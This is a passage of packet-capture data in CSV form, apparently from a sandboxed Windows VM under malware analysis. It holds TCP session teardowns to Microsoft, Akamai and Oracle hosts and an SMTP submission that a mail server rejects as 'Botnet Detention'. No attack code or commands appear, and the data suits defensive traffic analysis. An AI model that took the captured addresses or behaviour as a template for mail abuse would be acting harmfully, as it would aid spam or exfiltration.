Ack=974826609,525400577f945254007bb7920800450000280159400080062bf8c0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.Y@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 345, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11256, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:17.863058,200,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812e1400080069f94c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4833, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40852, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:18.081676,201,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1e400080065cf8c0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10782, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23800, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:18.081815,202,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592f4000800654e7c0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y/@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:25.368126,203,TCP 162.251.85.202:587 -> 192.168.122.168:50121,162.251.85.202,192.168.122.168,587,50121,TCP,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=898325473 Ack=2808562735,5254007bb792525400577f940800450000931ca840004006e9a6a2fb55cac0a87aa8024bc3c9358b5be1a767442f50180053349c00003535302d225b3230332e35352e38312e315d3a333730373220697320696e20616e2052424c206f6e20626c2e70726f312e7765627369746577656c636f6d652e636f6d2c207365650d0a35353020426c6f636b6564202d20426f746e657420446574656e74696f6e220d0a,\"550-\"\"[203.55.81.1]:37072 is in an RBL on bl.pro1.websitewelcome.com, see\n550 Blocked - Botnet Detention\"\"\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 147, \"\"id\"\": 7336, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59814, \"\"src\"\": \"\"162.251.85.202\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 587, \"\"dport\"\": 50121, \"\"seq\"\": 898325473, \"\"ack\"\": 2808562735, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 13468, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"550-\\\"\"[203.55.81.1]:37072 is in an RBL on bl.pro1.websitewelcome.com, see\\r\\n550 Blocked - Botnet Detention\\\"\"\\r\\n\"\"}}]\"\n2026-04-28 18:23:25.368166,204,TCP 162.251.85.202:587 -> 192.168.122.168:50121,162.251.85.202,192.168.122.168,587,50121,TCP,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=898325580 Ack=2808562735,5254007bb792525400577f940800450000281ca940004006ea10a2fb55cac0a87aa8024bc3c9358b5c4ca767442f5011005334310000,RT.{..RT.W....E..(..@.@.....U...z..K..5.\\L.gD/P..S41..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 7337, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59920, \"\"src\"\": \"\"162.251.85.202\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 587, \"\"dport\"\": 50121, \"\"seq\"\": 898325580, \"\"ack\"\": 2808562735, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 13361, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:25.368539,205,TCP 192.168.122.168:50121 -> 162.251.85.202:587,192.168.122.168,162.251.85.202,50121,587,TCP,Internal,Private Network,,,,,,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2808562735 Ack=898325581,525400577f945254007bb7920800450000287a50400080064c69c0a87aa8a2fb55cac3c9024ba767442f358b5c4d5010201434310000,RT.W..RT.{....E..(zP@...Li..z...U....K.gD/5.\\MP. .41..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31312, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19561, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"162.251.85.202\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50121, \"\"dport\"\": 587, \"\"seq\"\": 2808562735, \"\"ack\"\": 898325581, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13361, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.571525,206,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,RA,,,Ether > IP > TCP,3,TCP RA Seq=1857739734 Ack=4241599660,525400577f945254007bb792080045000028a51640008006746dc0a87aa883fd21fec32401bb6ebadbd6fcd1acac50140000e1660000,RT.W..RT.{....E..(..@...tm..z...!..$..n.......P....f..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42262, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29805, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739734, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.571638,207,TCP 192.168.122.168:49687 -> 150.171.28.12:443,192.168.122.168,150.171.28.12,49687,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8075,Microsoft Corporation,37.751,-97.822,150.171.0.0/19,RA,,,Ether > IP > TCP,3,TCP RA Seq=92098709 Ack=3550148941,525400577f945254007bb792080045000028fafd4000800611cac0a87aa896ab1c0cc21701bb057d5095d39af94d50140000ee220000,\"RT.W..RT.{....E..(..@.......z..........}P....MP....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64253, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 4554, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"150.171.28.12\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49687, \"\"dport\"\": 443, \"\"seq\"\": 92098709, \"\"ack\"\": 3550148941, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 60962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.571665,208,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=4216733384 Ack=974826609,525400577f945254007bb792080045000028015a400080062bf7c0a87aa8cc4fc5dec32601bbfb563ec83a1aac7150140000cd990000,RT.W..RT.{....E..(.Z@...+...z..O...&...V>.:..qP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11255, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733384, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.571693,209,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=226525660 Ack=1444010957,525400577f945254007bb79208004500002812e2400080069f93c0a87aa81730f5d9c32201bb0d8081dc5611dbcd5014000048750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4834, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40851, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525660, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.879449,210,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=4194378439 Ack=1765244119,525400577f945254007bb7920800450000282a1f400080065cf7c0a87aa80d6b2afec32501bbfa0122c769377cd75014000073d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10783, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23799, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378439, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.879573,211,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,RA,,,Ether > IP > TCP,3,TCP RA Seq=654304945 Ack=1203919404,525400577f945254007bb79208004500002859304000800654e6c0a87aa80d6b03fec32301bb26ffe6b147c25a2c501400004cd40000,\"RT.W..RT.{....E..(Y0@...T...z.\nk...#..&...G.Z,P...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22832, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21734, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304945, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.980655,212,TCP 192.168.122.168:50121 -> 162.251.85.202:587,192.168.122.168,162.251.85.202,50121,587,TCP,Internal,Private Network,,,,,,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=2808562735 Ack=898325581,525400577f945254007bb7920800450000287a51400080064c68c0a87aa8a2fb55cac3c9024ba767442f358b5c4d5011201434310000,RT.W..RT.{....E..(zQ@...Lh..z...U....K.gD/5.\\MP. .41..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31313, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19560, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"162.251.85.202\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50121, \"\"dport\"\": 587, \"\"seq\"\": 2808562735, \"\"ack\"\": 898325581, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13361, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:27.980698,213,TCP 162.251.85.202:587 -> 192.168.122.168:50121,162.251.85.202,192.168.122.168,587,50121,TCP,United States,Unknown,46606,Unified Layer,37.751,-97.822,162.251.84.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=898325581 Ack=2808562736,5254007bb792525400577f9408004500002800004000400606baa2fb55cac0a87aa8024bc3c9358b5c4da76744305010005337e60000,RT.{..RT.W....E..(..@.@.....U...z..K..5.\\M.gD0P..S7...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1722, \"\"src\"\": \"\"162.251.85.202\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 587, \"\"dport\"\": 50121, \"\"seq\"\": 898325581, \"\"ack\"\": 2808562736, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 14310, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:06.999466,214,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3385611947 Ack=3782497524,5254007bb792525400577f9408004500002838e2400040064a7184e2f749c0a87aa80050c3b4c9cc56abe17454f450110053b7970000,RT.{..RT.W....E..(8.@.@.Jq...I..z..P....V..tT.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14562, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19057, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611947, \"\"ack\"\": 3782497524, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:06.999648,215,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782497524 Ack=3385611948,525400577f945254007bb792080045000028d2a44000800670aec0a87aa884e2f749c3b40050e17454f4c9cc56ac50100402b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tT...V.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53924, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28846, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497524, \"\"ack\"\": 3385611948, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:41.882982,216,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,FA,,,Ether > IP > TCP,3,TCP FA Seq=3782497524 Ack=3385611948,525400577f945254007bb792080045000028d2a54000800670adc0a87aa884e2f749c3b40050e17454f4c9cc56ac50110402b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tT...V.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53925, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28845, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497524, \"\"ack\"\": 3385611948, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:41.883054,217,TCP 